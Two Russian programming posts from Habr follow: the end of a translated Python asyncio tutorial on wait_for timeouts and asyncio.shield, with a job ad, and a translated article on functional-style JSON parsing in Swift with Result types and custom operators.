Если тайм-аут истечёт до завершения задачи — задача отменяется, вызывается исключение `asyncio.TimeoutError`. Его может понадобиться обработать.
Например:
```
...
выполнение задачи с тайм-аутом
try:
# ожидание выполнения задачи
await asyncio.wait_for(coro, timeout=1)
except asyncio.TimeoutError:
# ...
```
Если задача, выполнения которой мы ожидаем, аварийно завершит работу, выдав необработанное исключение, это исключение будет передано вызывающей стороне, ожидающей завершения работы корутины `wait_for()`. Это исключение может нуждаться в обработке:
```
...
выполнение задачи, которая может дать сбой
try:
# ожидание завершения задачи
await asyncio.wait_for(coro, timeout=1)
except asyncio.TimeoutError:
# ...
except Exception:
# ...
```
Рассмотрим пример использования функции `asyncio.wait_for()` с тайм-аутом
#### 12.3. Пример использования функции asyncio.wait\_for() с тайм-аутом
Исследуем пример использования функции `asyncio.wait_for()` с тайм-аутом в ситуации, когда время истекает до завершения работы задачи.
Здесь мы используем корутину, очень похожую на ту, которая использовалась в предыдущем подобном примере. Но в этом примере вызывающая сторона даёт корутине на выполнение лишь 0,2 секунды — или 200 миллисекунд. Напомню, что 1 секунда равна 1000 миллисекундам.
Корутина, используемая для создания задачи, в сравнении с предыдущим примером, изменена. Благодаря этому она «засыпает» на время, превышающее одну секунду. Это обеспечивает то, что тайм-аут всегда истекает до завершения задачи.
Вот код примера:
```
# SuperFastPython.com
# пример ожидания выполнения корутины с тайм-аутом
from random import random
import asyncio
# корутина, которая будет выполняться в новой задаче
async def task_coro(arg):
# генерирование случайного значения в диапазоне между 1 и 2
value = 1 + random()
# вывод сообщения
print(f'>task got {value}')
# блокировка на некоторое время
await asyncio.sleep(value)
# вывод сообщения о завершении работы
print('>task done')
# главная корутина
async def main():
# создание задачи
task = task_coro(1)
# запуск задачи и ожидание её завершения с тайм-аутом
try:
await asyncio.wait_for(task, timeout=0.2)
except asyncio.TimeoutError:
print('Gave up waiting, task canceled')
# запуск asyncio-программы
asyncio.run(main())
```
При запуске этого кода сначала создаётся корутина `main()`, являющаяся точкой входа в asyncio-программу.
Корутина `main()` создаёт задачу на основе корутины. Затем она взывает функцию `wait_for()`, передаёт ей задачу и задаёт тайм-аут в 0,2 секунды.
Главная корутина приостанавливается и выполняется задача `task_coro()`. Она выводит сообщение и ненадолго «засыпает».
Корутина `main()` возобновляет работу после того, как истечёт тайм-аут. Корутина `wait_for()` отменяет выполнение корутины `task_coro()`, а корутина `main()` приостанавливается.
Задача `task_coro()` снова запускается и отвечает на запрос об остановке. Она вызывает исключение `TimeoutError` и завершает работу.
Корутина `main()` возобновляет работу и обрабатывает исключение `TimeoutError`, вызванное задачей `task_coro()`.
Этот пример демонстрирует использование функции `wait_for()` с тайм-аутом, и то, как отменяются задачи, на выполнение которых не хватает отведённого им времени.
Выходные данные этой программы будут разными при каждом её запуске из-за того, что в ней используется генератор случайных чисел.
```
>task got 0.685375224799321
Gave up waiting, task canceled
```
Подробности о функции `wait_for()` можно найти [здесь](https://superfastpython.com/asyncio-wait_for/).
Поговорим теперь о том, как защищать asyncio-задачи от отмены их выполнения.
### 13. Защита задач от отмены их выполнения
Выполнение asyncio-задачи можно отменить, вызывав её метод `cancel()`.
Задачу можно защитить от отмены, обернув её в вызов функции `asyncio.shield()`.
Поговорим об этой функции.
#### 13.1. Функция asyncio.shield()
Функция `asyncio.shield()` оборачивает объект, допускающий ожидание, в объект `Future`, который будет принимать запросы на отмену выполнения обёрнутого в него объекта.
> *Защищает объект, допускающий ожидание, от отмены его выполнения.*
>
> [*Coroutines and Tasks*](https://docs.python.org/3/library/asyncio-task.html)
>
>
Это означает, что такой объект `Future` можно передавать задачам, которые могут попытаться отменить его выполнение. При этом запросы на отмену будут выглядеть так, будто они завершились успешно, но при этом защищённая задача или корутина продолжит выполняться.
Это может оказаться полезным в asyncio-программах, в которых некоторые задачи допускается отменять, а некоторые, возможно, с более высоким приоритетом, отменять не допускается.
Ещё это может пригодиться в программах, в которых некоторые задачи можно безопасно отменить, а некоторые — нет. Например — задачи, которые спроектированы с учётом особенностей модуля `asyncio`, можно отменять. А некоторые другие задачи, не поддерживающие безопасную досрочную отмену их выполнения, нужно защищать.
Теперь, когда мы, в общих чертах, разобрались с `asyncio.shield()`, поговорим об использовании этой функции.
#### 13.2. Как пользоваться функцией asyncio.shield()
Функция [asyncio.shield()](https://docs.python.org/3/library/asyncio-task.html#asyncio.shield) защищает от отмены объекты `Task` или корутины.
Она принимает объект, допускающий ожидание, и возвращает объект `asyncio.Future`.
Дождаться завершения работы этого объекта можно, воспользовавшись ключевым словом `await`. Его можно и передавать другим задачам или корутинам:
```
...
защита задачи от отмены
shielded = asyncio.shield(task)
ожидание завершения защищённой задачи
await shielded
```
Отменить выполнение возвращённого функцией объекта `Future` можно, вызвав его метод `cancel()`. Защищённая задача при этом продолжит выполняться, но запрос на отмену выполнения будет выглядеть так, будто он завершился успешно:
```
...
попытка отмены защищённой задачи
was_canceld = shielded.cancel()
```
Любые корутины, ожидающие выполнения объекта `Future`, выдадут исключение `asyncio.CancelledError`, которое может нуждаться в обработке:
```
...
try:
# ожидание завершения защищённой задачи
await asyncio.shield(task)
except asyncio.CancelledError:
# ...
```
Тут важно помнить о том, что запрос на отмену, выполненный для объекта `Future`, не передаётся заключённой в него задаче.
Это значит, что подобный запрос как бы «поглощается» защитным объектом.
Например:
```
...
создание задачи
task = asyncio.create_task(coro())
создание объекта, включающего в себя задачу и защищающего её от отмены
shield = asyncio.shield(task)
отмена выполнения защитного объекта (задача при этом не отменяется)
shield.cancel()
```
Если функции `asyncio.shield()` передаётся корутина — она оборачивается в объект `asyncio.Task()` и планируется её немедленное выполнение.
Это значит, что для того, чтобы внутренняя корутина могла бы запуститься, нет нужды ожидать выполнения защитного объекта `Future` с помощью `await`.
`awaitable asyncio.shield(aw)`
*…*
> *Если aw — это корутина, то автоматически планируется её выполнение в виде объекта Task.*
>
> [*Coroutines and Tasks*](https://docs.python.org/3/library/asyncio-task.html)
>
>
Если защищённая задача отменяется — то запрос на её отмену распространяется и на защитный объект, выполнение которого тоже отменяется:
```
...
создание задачи
task = asyncio.create_task(coro())
создание защитного объекта
shield = asyncio.shield(task)
отмена задачи (это отменяет и защитный объект)
task.cancel()
```
Теперь, когда мы знаем о том, как пользоваться функцией `asyncio.shield()` — рассмотрим пример.
#### 13.3. Пример использования функции asyncio.shield() для защиты задачи
Исследуем возможности функции `asyncio.shield()`по защите задач от отмены их выполнения.
В этом примере мы определяем простую корутину, которая принимает целочисленный аргумент, на секунду «засыпает», а потом возвращает этот аргумент. Эта корутина будет использоваться для создания задачи, выполнение которой можно запланировать.
Здесь мы определим и вторую корутину, которая принимает задачу, ненадолго «засыпает», а потом отменяет задачу.
В главной корутине мы защитим первую задачу и передадим её второй задаче, а потом дождёмся завершения работы защищённой задачи.
Мы ожидаем, что отмена выполнения коснётся лишь защитного объекта, а находящаяся у него внутри задача не пострадает. Отмена задачи нарушит работу главной корутины. Мы можем проверить состояние защищаемой задачи в конце программы. Ожидается, что её работа завершится нормально, что на неё не повлияет запрос на отмену выполнения, сделанный для защитного объекта.
Вот полный код примера:
```
# SuperFastPython.com
# пример использования функции asyncio.shield() для защиты задачи от отмены
import asyncio
# определение простой корутины
async def simple_task(number):
# блокировка на некоторое время
await asyncio.sleep(1)
# возврат аргумента
return number
# корутина, отменяющая переданную ей задачу через некоторое время
async def cancel_task(task):
# блокировка на некоторое время
await asyncio.sleep(0.2)
# отмена задачи
was_cancelled = task.cancel()
print(f'cancelled: {was_cancelled}')
# главная корутина
async def main():
# создание корутины
coro = simple_task(1)
# создание задачи
task = asyncio.create_task(coro)
# создание защищённой задачи
shielded = asyncio.shield(task)
# создание задачи, отменяющей переданную ей задачу
asyncio.create_task(cancel_task(shielded))
# обработка отмены
try:
# ожидание завершения работы защищённой задачи
result = await shielded
# вывод сведений о полученных результатах
print(f'>got: {result}')
except asyncio.CancelledError:
print('shielded was cancelled')
# ожидание
await asyncio.sleep(1)
# вывод сведений о задачах
print(f'shielded: {shielded}')
print(f'task: {task}')
# запуск программы
asyncio.run(main())
```
Здесь сначала создаётся корутина `main()`, которая представляет собой точку входа в программу.
Затем создаётся корутина, на основе которой создаётся объект `Task`, который планируется на выполнение. Эта задача защищается от отмены.
Защищённая задача передаётся корутине `cancel_task()`. Она так же оборачивается в задачу, которая планируется на выполнение.
После этого главная корутина ждёт завершения работы защищённой задачи, ожидая появления исключения `CancelledError`.
Задача некоторое время работает, после чего «засыпает». Задача, которая отменяет другую задачу, запускается, на некоторое время «засыпает», а потом отменяет защищённую задачу. Запрос на отмену задачи завершается успешно.
Всё это вызывает исключение `CancelledError` в защитном объекте `Future`, но не в защищаемой им задаче.
Корутина `main()` возобновляет работу и реагирует на исключение `CancelledError`, выводя сообщение. После этого она «засыпает» на более длительное время.
Потом защищённая задача возобновляет работу, она нормально завершается и возвращает значение.
В итоге корутина `main()` возобновляет работу и выводит сведения о состоянии защитного объекта `Future` и защищённой им задачи. В выводе программы, представленном ниже, можно видеть, что защитный объект отменён, а включённая в него задача нормально завершила работу и возвратила значение.
```
cancelled: True
shielded was cancelled
shielded:
task: result=1>
```
Этот пример демонстрирует применение функции `asyncio.shield()` для защиты задач от отмены их выполнения.
Подробнее этот вопрос освещён [здесь](https://superfastpython.com/asyncio-shield/).
Наша следующая тема посвящена запуску блокирующих задач в asyncio-программах.
О, а приходите к нам работать? 🤗 💰Мы в [**wunderfund.io**](http://wunderfund.io/) занимаемся [высокочастотной алготорговлей](https://en.wikipedia.org/wiki/High-frequency_trading) с 2014 года. Высокочастотная торговля — это непрерывное соревнование лучших программистов и математиков всего мира. Присоединившись к нам, вы станете частью этой увлекательной схватки.
Мы предлагаем интересные и сложные задачи по анализу данных и low latency разработке для увлеченных исследователей и программистов. Гибкий график и никакой бюрократии, решения быстро принимаются и воплощаются в жизнь.
Сейчас мы ищем плюсовиков, питонистов, дата-инженеров и мл-рисерчеров.
[Присоединяйтесь к нашей команде.](http://wunderfund.io/#join_us) | https://habr.com/ru/post/709272/ | null | ru | null |
# Эффективный JSON с функциональными концепциями и generics в Swift
Это перевод статьи Tony DiPasquale [«Efficient JSON in Swift with Functional Concepts»](http://robots.thoughtbot.com/efficient-json-in-swift-with-functional-concepts-and-generics).
### Предисловие переводчика
Передо мной была поставлена задача: закачать данные в формате JSON с [Flickr.com](https://www.flickr.com/) о 100 топ местах, в которых сделаны фотографии на данный момент, в массив моделей:
```
//------ Массив моделей Places
struct Places {
var places : [Place]
}
//-----Модель Place
struct Place {
let placeURL: NSURL
let timeZone: String
let photoCount : Int
let content : String
}
```
Кроме чисто прагматической задачи, мне хотелось посмотреть как в *Swift* работает «вывод типа из контекста» (type Inference), какие возможности *Swift* в функциональном программировании, и я выбрала для парсинга JSON алгоритмы из статьи Tony DiPasquale [«Efficient JSON in Swift with Functional Concepts and Generics»](http://robots.thoughtbot.com/efficient-json-in-swift-with-functional-concepts-and-generics), в которой он «протягивает» generic тип ``Result для обработки ошибок по всей цепочке преобразований: от запроса к серверу до размещения данных в массив Моделей для последующего представления в UITableViewController`.
Чтобы посмотреть, как *Swift* работает "в связке" с *Objective-C*, для считывания данных с [Flickr.com](https://www.flickr.com/) использовался Flickr API, представленный в курсе Стэнфордского Университета ["Stanford CS 193P iOS 7"](http://web.stanford.edu/class/cs193p/cgi-bin/drupal/), написанный на *Objective-C*.
В результате помимо небольшого расширения Моделей:
```
extension Place: JSONDecodable {
static func create(placeURL: String)(timeZone: String)(photoCount: String)(content: String) -> Place {
return Place(placeURL: toURL(placeURL), timeZone: timeZone, photoCount: photoCount.toInt() ?? 0, content: content)
}
static func decode(json: JSON) -> Place? {
return _JSONParse(json) >>> { d in
Place.create
<^> d <| "place_url"
<*> d <| "timezone"
<*> d <| "photo_count"
<*> d <| "_content"
}
}
}
extension Places: JSONDecodable {
static func create(places: [Place]) -> Places {
return Places(places: places)
}
static func decode(json: JSON) -> Places? {
return _JSONParse(json) >>> { d in
Places.create
<^> d <| "places" <| "place"
}
}
}
```
... мне самостоятельно пришлось написать только три строчки кода:
```
class ViewController: UIViewController {
override func viewDidLoad() {
super.viewDidLoad()
//--------------- URL для places из Flickr.com ------------------------------------------
let urlPlaces = NSURLRequest( URL: FlickrFetcher.URLforTopPlaces())
performRequest(urlPlaces ) { (places: Result) in
println("\(stringResult(places))")
}
}
}
```
И добавить "мост" между *Swift* и *Objective-C* - файл EfficientJSONBrief-Bridging-Header.h , в котором указываем `FlickrFetcher.h` файл `API Flickr` :
Код можно посмотреть на [Github](https://github.com/BestKora/EfficientJSONBrief).
### Перевод
Несколько месяцев назад Apple представила новый язык программирования, *Swift*, чем сильно воодушевила разработчиков относительно будущего написания приложений для iOS и OS X. Люди немедленно, начиная с версии Xcode 6 Beta1, начали пробовать *Swift* и понадобилось не так много времени, чтобы обнаружить, что парсинг JSON - редкое приложение обходится без него - не так прост как в *Objective-C*. *Swift* является [статически типизованным](https://ru.wikipedia.org/wiki/%D0%A1%D0%B8%D1%81%D1%82%D0%B5%D0%BC%D0%B0_%D1%82%D0%B8%D0%BF%D0%BE%D0%B2) языком, а это означает, что мы не можем больше забрасывать объекты в типизованные переменные и заставлять компилятор доверять нам, что они таковыми и являются. Теперь, в *Swift*, компилятор выполняет проверку, давая нам уверенность, что мы случайно не вызовем runtime ошибки. Это позволяет нам опираться на компилятор при создании безошибочного кода, но это также означает, что мы должны делать дополнительную работу, чтобы его удовлетворить. В этом посту я обсуждаю API для парсинга JSON, который использует концепции функционального программирования и дженерики ( Generics ) для создания читаемого и эффективного кода.
Запрашиваем Модель User
-----------------------
Первое, что нам необходимо - это преобразование данных, которые мы получаем по сетевому запросу, в JSON. В прошлом мы использовали `NSJSONSerialization.JSONObjectWithData(NSData, Int, &NSError)`, что давало нам тип данных `Optional` JSON и возможную ошибку ( error ), если возникали проблемы с парсингом. Тип данных для JSON объектов в Objective-C - это `NSDictionary`, который может содержать любые объекты в своих `значениях`. В *Swift* у нас новый тип словаря, который требует, чтобы мы определили типы данных, которые им поддерживаются. Теперь объекты JSON превратились в `Dictionary`. `AnyObject` используется из-за того, что JSON значение может быть `String, Double, Bool, Array, Dictionary` или `null`. Когда мы пытаемся использовать JSON для получения созданной нами модели, приходится тестировать каждый ключ, который мы получаем из JSON словаря, на предмет подходящего типа данных элементов модели. В качестве примера возьмем модель пользователя `User`:
```
struct User {
let id: Int
let name: String
let email: String
}
```
Давайте посмотрим, как может выглядеть запрос и ответ сервера для текущего пользователя:
```
func getUser(request: NSURLRequest, callback: (User) -> ()) {
let task = NSURLSession.sharedSession().dataTaskWithRequest(request)
{ data, urlResponse, error in
var jsonErrorOptional: NSError?
let jsonOptional: AnyObject! =
NSJSONSerialization.JSONObjectWithData(data,
options: NSJSONReadingOptions(0),
error: &jsonErrorOptional)
if let json = jsonOptional as? Dictionary {
if let id = json["id"] as AnyObject? as? Int {
if let name = json["name"] as AnyObject? as? String {
if let email = json["email"] as AnyObject? as? String {
let user = User(id: id, name: name, email: email)
callback(user)
}
}
}
}
}
task.resume()
}
```
После многочисленных вложенных `if-let` предложений, мы наконец-то получили наш `User` объект. Можно себе представить, что чем больше у модели будет свойств, тем она будет выглядеть все ужаснее и ужаснее . Кроме того, мы не отслеживаем ошибки, которые возможны на любом шаге: в случае ошибки мы не получим ничего. Наконец, мы должны будем писать этот код для каждой модели, которая требуется для нашего API, что приведет к значительному дублированию кода.
Начнем рефакторинг нашего кода, но прежде для упрощения JSON типов определим некоторые алиасы типов `typealias`.
```
typealias JSON = AnyObject
typealias JSONDictionary = Dictionary
typealias JSONArray = Array
```
Рефакторинг: Добавляем управления ошибками
------------------------------------------
Во-первых, мы будем проводить рефакторинг нашей функции с целью управления ошибками.
И тут нам понадобится первая концепция функционального программирования, тип `Either`. Это позволит нам вернуть пользователю объект как в случае, если все проходит успешно, так и в случае возникновения ошибки. В *Swift* можно так реализовать тип `Either` :
```
enum Either {
case Left(A)
case Right(B)
}
```
Мы можем использовать `Either` в качестве типа, который передается нашему `callback`, следовательно, вызывающая функция сможет управлять как успешно "разобранной" моделью `User`, так и ошибкой (`error`).
```
func getUser(request: NSURLRequest, callback: (Either) -> ()) {
let task = NSURLSession.sharedSession().dataTaskWithRequest(request) { data, urlResponse, error in
// если возвращается ошибка, то посылаем ее в callback
if let err = error {
callback(.Left(err))
return
}
var jsonErrorOptional: NSError?
let jsonOptional: JSON! = NSJSONSerialization.JSONObjectWithData(data,
options: NSJSONReadingOptions(0),
error: &jsonErrorOptional)
// если возникает ошибка парсинга JSON, посылаем ее в callback
if let err = jsonErrorOptional {
callback(.Left(err))
return
}
if let json = jsonOptional as? JSONDictionary {
if let id = json["id"] as AnyObject? as? Int {
if let name = json["name"] as AnyObject? as? String {
if let email = json["email"] as AnyObject? as? String {
let user = User(id: id, name: name, email: email)
callback(.Right(user))
return
}
}
}
}
// если не смогли "разобрать" какие-то свойства, то посылаем ошибку в callback
callback(.Left(NSError()))
}
task.resume()
}
```
Теперь функция, вызывающая наш `getUser` может использовать `switch` предложение для `Either` , и что-то делать с текущим пользователем `User` или показывать ошибку.
```
getUser(request) { either in
switch either {
case let .Left(error):
// показываем сообщение об ошибке
case let .Right(user):
//делаем что-то с user
}
}
```
Мы немного упростили это, предполагая, что `Left` всегда будет `NSError`. Вместо этого давайте использовать подобный, но другой тип ````
Result , который будет содержать либо значение, которое мы ищем, либо ошибку. Его реализация выглядит так:
enum Result{
case Error(NSError)
case Value(A)
}
```
В текущей версии Swift (1.1), тип ``Result вызовет ошибку компиляции. *Swift* должен знать, какой тип будет помещен внутрь всех значений перечисления. Мы можем создать постоянный класс (constant class`) для размещения нашего generic значения `A`.
> (Примечание переводчика. В настоящий момент в *Swift* перечисления `enum` не могут быть generic на самом топовом уровне, но, как было сказано в статье, могут быть представлены как generic, если их обернуть в "постоянный" `class box`):
```
final class Box{
let value: A
init(\_ value: A) {
self.value = value
}
}
enum Result{
case Error(NSError)
case Value(Box)
}
```
Заменяя `Either` на `Result`, мы получим следующее:
```
func getUser(request: NSURLRequest, callback: (Result) -> ()) {
let task = NSURLSession.sharedSession().dataTaskWithRequest(request) { data, urlResponse, error in
// если возвращается ошибка, то посылаем ее в callback
if let err = error {
callback(.Error(err))
return
}
var jsonErrorOptional: NSError?
let jsonOptional: JSON! = NSJSONSerialization.JSONObjectWithData(data, options: NSJSONReadingOptions(0), error: &jsonErrorOptional)
// если возникает ошибка парсинга JSON, посылаем ее в callback
if let err = jsonErrorOptional {
callback(.Error(err))
return
}
if let json = jsonOptional as? JSONDictionary {
if let id = json["id"] as AnyObject? as? Int {
if let name = json["name"] as AnyObject? as? String {
if let email = json["email"] as AnyObject? as? String {
let user = User(id: id, name: name, email: email)
callback(.Value(Box(user)))
return
}
}
}
}
// если не смогли "разобрать" какие-то свойства, то посылаем ошибку в callback
callback(.Error(NSError()))
}
task.resume()
}
getUser(request) { result in
switch result {
case let .Error(error):
// показываем сообщение об ошибке
case let .Value(boxedUser):
let user = boxedUser.value
// делаем что-то с user
}
}
```
Небольшое изменение. Но давайте продолжим рефакторинг.
Рефакторинг: Уничтожение дерева проверки типов
----------------------------------------------
На следующем этапе мы избавимся от уродливых JSON парсингов путем создания отдельных JSON парсеров для каждого типа. В нашем объекте есть только `String, Int` и `Dictionary`, так что необходимы 3 функции для парсинга этих типов.
```
func JSONString(object: JSON?) -> String? {
return object as? String
}
func JSONInt(object: JSON?) -> Int? {
return object as? Int
}
func JSONObject(object: JSON?) -> JSONDictionary? {
return object as? JSONDictionary
}
```
Теперь JSON парсинг выглядит так:
```
if let json = JSONObject(jsonOptional) {
if let id = JSONInt(json["id"]) {
if let name = JSONString(json["name"]) {
if let email = JSONString(json["email"]) {
let user = User(id: id, name: name, email: email)
}
}
}
}
```
Использование этих функций все еще не отменяет кучу `if-let` синтаксиса. Такие концепции функционального программирования как [Монады](https://ru.wikipedia.org/wiki/%D0%9C%D0%BE%D0%BD%D0%B0%D0%B4%D0%B0), [Функторы](https://ru.wikipedia.org/wiki/%D0%A4%D1%83%D0%BD%D0%BA%D1%86%D0%B8%D0%BE%D0%BD%D0%B0%D0%BB%D1%8C%D0%BD%D1%8B%D0%B9_%D0%BE%D0%B1%D1%8A%D0%B5%D0%BA%D1%82), [Аппликативные Функторы](http://habrahabr.ru/post/183150/) и [Каррирование](https://ru.wikipedia.org/wiki/%D0%9A%D0%B0%D1%80%D1%80%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5) помогут нам "сжать" наш парсинг.
Во-первых, давайте посмотрим на монаду `Maybe`, которая подобна `Optional` в *Swift*. У монад есть оператор `bind` ("связывание"), который, при использовании с `Optionals`, разрешает нам "связывать" `Optional` c функцией, которая берет `не-Optional` и возвращает `Optional`. Если первый `Optional`, который на входе, - это `.None`, то возвращается `.None`, в противном случае оператор `bind` "разворачивает" первый `Optional` и применяет к нему функцию.
```
infix operator >>> { associativity left precedence 150 }
func >>>(a: A?, f: A -> B?) -> B? {
if let x = a {
return f(x)
} else {
return .None
}
}
```
В других функциональных языках оператор `>>=` используется для `bind` ("связывание"); но в *Swift* этот оператор уже занят и используется для побитового сдвига, так что вместо него будем использовать оператор `>>>` .
Применяя его к JSON парсингу, получим:
```
if let json = jsonOptional >>> JSONObject {
if let id = json["id"] >>> JSONInt {
if let name = json["name"] >>> JSONString {
if let email = json["email"] >>> JSONString {
let user = User(id: id, name: name, email: email)
}
}
}
}
```
Теперь мы можем убрать `Optional` параметры из наших парсеров:
```
func JSONString(object: JSON) -> String? {
return object as? String
}
func JSONInt(object: JSON) -> Int? {
return object as? Int
}
func JSONObject(object: JSON) -> JSONDictionary? {
return object as? JSONDictionary
}
```
У функторов есть оператор `fmap` для применения функций к значениям, обернутым в некоторый контекст. У аппликативных функторов также есть оператор `apply` для применения обернутых функций к значениям, обернутым в некоторый контекст. В нашем случае контекст, в который "заворачиваются" наши значения - это `Optional`. Это означает, что мы можем комбинировать многочисленные `Optional` значения с функцией, которая берет множество `не-Optional` значений. Если все значения присутствуют и представлены `.Some`, то мы получаем результат, обернутый в `Optional`. Если какое-то из этих значений представлено `.None`, мы получаем `.None`. Мы можем определить эти операторы в *Swift* следующим образом:
```
infix operator <^> { associativity left } // Functor's fmap (usually <$>)
infix operator <*> { associativity left } // Applicative's apply
func <^>(f: A -> B, a: A?) -> B? {
if let x = a {
return f(x)
} else {
return .None
}
}
func <\*>(f: (A -> B)?, a: A?) -> B? {
if let x = a {
if let fx = f {
return fx(x)
}
}
return .None
}
```
Но прежде, чем мы соберем все это вместе, нам необходимо каррировать вручную инициализатор (`init`) нашей модели `User`, так как *Swift* не поддерживает автокаррирование (auto-currying). Каррирование означает, что если мы на вход каррирования подаем функцию с меньшим числом параметров, чем у нее есть, то каррирование возвращает функцию с оставшимися параметрами. И наша `User` модель будет выглядеть так:
```
struct User {
let id: Int
let name: String
let email: String
static func create(id: Int)(name: String)(email: String) -> User {
return User(id: id, name: name, email: email)
}
}
```
Собирая все вместе, наш JSON парсинг будет выглядеть так:
```
if let json = jsonOptional >>> JSONObject {
let user = User.create <^>
json["id"] >>> JSONInt <*>
json["name"] >>> JSONString <*>
json["email"] >>> JSONString
}
```
Если какой-то из наших парсеров возвращает `.None`,то user будет `.None`. Это выглядит намного лучше, но мы еще не закончили.
Теперь наша функция `getUser` изменится:
```
func getUser(request: NSURLRequest, callback: (Result) -> ()) {
let task = NSURLSession.sharedSession().dataTaskWithRequest(request) { data, urlResponse, error in
// если возвращается ошибка, то посылаем ее в callback
if let err = error {
callback(.Error(err))
return
}
var jsonErrorOptional: NSError?
let jsonOptional: JSON! = NSJSONSerialization.JSONObjectWithData(data, options: NSJSONReadingOptions(0), error: &jsonErrorOptional)
// если возникает ошибка парсинга JSON, посылаем ее в callback
if let err = jsonErrorOptional {
callback(.Error(err))
return
}
if let json = jsonOptional >>> JSONObject {
let user = User.create <^>
json["id"] >>> JSONInt <\*>
json["name"] >>> JSONString <\*>
json["email"] >>> JSONString
if let u = user {
callback(.Value(Box(u)))
return
}
}
// если не смогли "разобрать" какие-то свойства, то посылаем ошибку в callback
callback(.Error(NSError()))
}
task.resume()
}
```
Рефакторинг: Убираем многочисленные returns с помощью "bind" (связывания)
-------------------------------------------------------------------------
Заметьте, что в предыдущей функции мы четыре раза вызываем `callback` . Если мы забудем хотя бы одно предложение `return` , то мы ошибочно представим результат как `NSError`. Мы можем уничтожить этот потенциальный bug и сделать более понятной эту функцию в дальнейшем, если разобьем эту функцию на 3 различные части: парсинг ответа сервера, парсинг данных в JSON и парсинг JSON в объект `User`.
Каждый из этих шагов берет один вход и возвращает результат его преобразования для следующего шага или ошибку. Это звучит как идеальный случай для использования оператора `bind` для нашего типа `Result`.
Функции `parseResponse` понадобится `Result` с `data` и статусным кодом ответа сервера. API iOS дает нам только `NSURLResponse` и держит `data` отдельно, поэтому мы сделаем маленькую вспомогательную структуру :
```
struct Response {
let data: NSData
let statusCode: Int = 500
init(data: NSData, urlResponse: NSURLResponse) {
self.data = data
if let httpResponse = urlResponse as? NSHTTPURLResponse {
statusCode = httpResponse.statusCode
}
}
}
```
Теперь мы можем передать нашей функции `parseResponse` структуру `Response` и проверить ответ сервера на ошибки, прежде чем заниматься с `data`.
```
func parseResponse(response: Response) -> Result {
let successRange = 200..<300
if !contains(successRange, response.statusCode) {
return .Error(NSError()) // настройте сообщение об ошибке как вам нравится
}
return .Value(Box(response.data))
}
```
Следующие функции понадобятся нам для преобразования типа `Optional` в тип `Result`, но прежде создадим одну очень простую абстракцию.
```
func resultFromOptional(optional: A?, error: NSError) -> Result{
if let a = optional {
return .Value(Box(a))
} else {
return .Error(error)
}
}
```
Следующая функция - преобразование наших `data` в JSON:
```
func decodeJSON(data: NSData) -> Result {
let jsonOptional: JSON! = NSJSONSerialization.JSONObjectWithData(data, options: NSJSONReadingOptions(0), error: &jsonErrorOptional)
return resultFromOptional(jsonOptional, NSError()) // используйте ошибку из NSJSONSerialization или задайте свое сообщение об ошибке
}
```
Теперь добавляем декодирование JSON непосредственно в саму модель:
```
struct User {
let id: Int
let name: String
let email: String
static func create(id: Int)(name: String)(email: String) -> User {
return User(id: id, name: name, email: email)
}
static func decode(json: JSON) -> Result {
let user = JSONObject(json) >>> { dict in
User.create <^>
dict["id"] >>> JSONInt <\*>
dict["name"] >>> JSONString <\*>
dict["email"] >>> JSONString
}
return resultFromOptional(user, NSError()) // задайте сообщение об ошибке
}
}
```
Перед тем как скомбинировать все вместе, давайте распространим действие оператора `>>>` на тип `Result` :
```
func >>>(a: Result, f: A -> Result**) -> Result **{
switch a {
case let .Value(x): return f(x.value)
case let .Error(error): return .Error(error)
}
}****
```
и добавим пользовательский инициализатор к `Result` :
```
enum Result{
case Error(NSError)
case Value(Box)
init(\_ error: NSError?, \_ value: A) {
if let err = error {
self = .Error(err)
} else {
self = .Value(Box(value))
}
}
}
```
Теперь комбинируем все эти функции с оператором `>>>`.
```
func getUser(request: NSURLRequest, callback: (Result) -> ()) {
let task = NSURLSession.sharedSession().dataTaskWithRequest(request) { data, urlResponse, error in
let responseResult = Result(error, Response(data: data, urlResponse: urlResponse))
let result = responseResult >>> parseResponse
>>> decodeJSON
>>> User.decode
callback(result)
}
task.resume()
}
```
Здорово, я восхищен полученным результатом. Вы можете подумать: “Это действительно круто. Не могу дождаться чтобы это попробовать!”, но нам нужно еще кое-что доделать!
Рефакторинг: Избавляемся от "типа" с помощью generics
-----------------------------------------------------
Это здорово, но придется писать это для каждой модели, которую мы хотим получать из JSON. Давайте использовать generics, чтобы сделать это абсолютно абстрактным.
Введем протокол `JSONDecodable` и скажем нашей функции, что возвращаемый тип должен подтверждать этот протокол:
```
protocol JSONDecodable {
class func decode(json: JSON) -> Self?
}
```
Следующим шагом напишем функцию, которая будет декодировать любую модель, подтверждающую протокол `JSONDecodable`, в `Result` :
```
func decodeObject(json: JSON) -> Result{
return resultFromOptional(A.decode(json), NSError()) // custom error
}
```
Теперь заставим `User` подтвердить этот протокол:
```
struct User: JSONDecodable {
let id: Int
let name: String
let email: String
static func create(id: Int)(name: String)(email: String) -> User {
return User(id: id, name: name, email: email)
}
static func decode(json: JSON) -> User? {
return JSONObject(json) >>> { d in
User.create <^>
json["id"] >>> JSONInt <*>
json["name"] >>> JSONString <*>
json["email"] >>> JSONString
}
}
```
Мы изменили функцию декодера `decode` для `User` так, чтобы она возвращала `Optional User` вместо ``Result. Это позволяет нам иметь абстрактную функцию, которая вызывает resultFromOptional` после `decode` вместо того, чтобы вызывать ее для каждой модели в функции `decode`.
Наконец, мы уберем парсинг и декодирование из функции `performRequest` для лучшей читаемости. Теперь у нас есть две финальные функции: `performRequest` и `parseResult` :
```
func performRequest(request: NSURLRequest, callback: (Result) -> ()) {
let task = NSURLSession.sharedSession().dataTaskWithRequest(request) { data, urlResponse, error in
callback(parseResult(data, urlResponse, error))
}
task.resume()
}
func parseResult(data: NSData!, urlResponse: NSURLResponse!, error: NSError!) -> Result{
let responseResult = Result(error, Response(data: data, urlResponse: urlResponse))
return responseResult >>> parseResponse
>>> decodeJSON
>>> decodeObject
}
```
Дальнейшее изучение
Пример кода представлен в [GitHub](https://github.com/thoughtbot/FunctionalJSON-swift/tree/d3fcf771c20813e57cb54472dd8c55ee33e87ae4).
Если вы интересуетесь функциональным программированием или какими-то его аспектами, представленными в этом посте, посмотрите [Haskell](http://www.haskell.org/haskellwiki/Haskell) и особенно [этот пост](http://learnyouahaskell.com/functors-applicative-functors-and-monoids) из книги [Learn You a Haskell.](http://learnyouahaskell.com/) Также посмотрите пост [Pat Brisbin](http://robots.thoughtbot.com/applicative-options-parsing-in-haskell) о парсинге options с использованием аппликативного функтора.
### Послесловие переводчика
